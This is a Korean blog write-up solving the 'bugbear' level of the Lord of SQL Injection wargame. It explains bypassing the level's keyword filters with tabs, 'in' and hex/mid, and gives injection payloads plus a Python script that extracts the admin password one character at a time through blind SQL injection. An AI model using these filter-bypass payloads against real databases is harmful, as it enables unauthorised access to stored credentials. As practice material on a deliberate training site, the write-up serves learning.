본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] bugbear 풀이

by yenua 2022. 6. 12.
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

버그베어는 늦게까지 노느라 귀가하지 않는 아이들을 겁주기 위해 중세 영국에서 만들어진 가공의 존재다. - 리니지 몬스터 백과사전

별 희한한 이름의 몬스터들이 다 있다.

 

이번에는 los의 버그베어를 처리해보자.

 

기본 쿼리문 및 소스코드는 아래와 같다. 

 

소스코드를 살펴보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

pw에는 '를 입력할 수 없고, no에는 ' 뿐만 아니라 substr, ascii, =, or, and, 스페이스, like, 0x를 입력할 수 없다.

스페이스는 탭으로 대체할 수 있고, like는 in으로 대체할 수 있다. 0x는 안쓸 것 같다.

 

아래와 같이 버그베어를 처리할 수 있다.

1. 비밀번호 길이 찾기

pw: 1||length(pw)    in(8)#

url: ?no=1||length(pw)%09in(8)%23

query : select id from prob_bugbear where id='guest' and pw='' and no=1||length(pw) in(8)#

비또8

2. 비밀번호 찾기

비밀번호를 한글자 씩 찾기 위해서는 아래처럼 입력하면 된다.

no: 2||no    in(2)&&hex(mid(pw,1,1))in(hex(48))

query: select id from prob_bugbear where id='guest' and pw='' and no=2||no    in(2)&&hex(mid(pw,1,1))in(hex(48))

&& 때문에 pw 값은 파이썬에서 직접 파라미터에 넣어주어야 && 뒷 부분이 다른 파라미터로 인식되어 날라가지 않는다. 파이썬 코드는 아래와 같다.

import requests
import time

URL="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"

params = {'pw':'',
          'no':''}

cookie={
    "PHPSESSID":"hfq78ei0h9rmlo9jl10lkb7kd3"
    }

password = ''
start = time.time()
for i in range(8):
    print(i, end=' ')
    for j in range(32, 127):
        params['no'] = "2||no\tin(2)&&hex(mid(pw,{},1))in(hex({}))".format(i, j)
        #print(params['no'])
        res = requests.get(URL, params=params, cookies=cookie)
        #print(i, j, res.text)
        if "Hello admin" in res.text:
            print("found!:{} : {}".format(i, chr(j)))
            print(res.text)
            password += chr(j)
            break

print(password)
end = time.time()
print(end - start)

ascii 대신 ord를 사용하려고 하였으나 or 필터링 때문에 못쓴다.. 세상에;

 

그래서 찾은게 hex인데, hex도 0x가 필터링 되어 있으므로, hex로 변경하는 함수는 쿼리문에서 작동시켜야 한다. 파이썬에서 헥스값으로 바꾸면 0x 때문에 필터링 당한다.

 

pw는 52dc3991 이다.

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] assassin 풀이  (0) 2022.06.12
[Los] giant 풀이  (0) 2022.06.12
[Los] darkknight 풀이  (0) 2022.06.12
[Los] golem 풀이  (0) 2022.06.12
[Los] skeleton 풀이  (0) 2022.06.12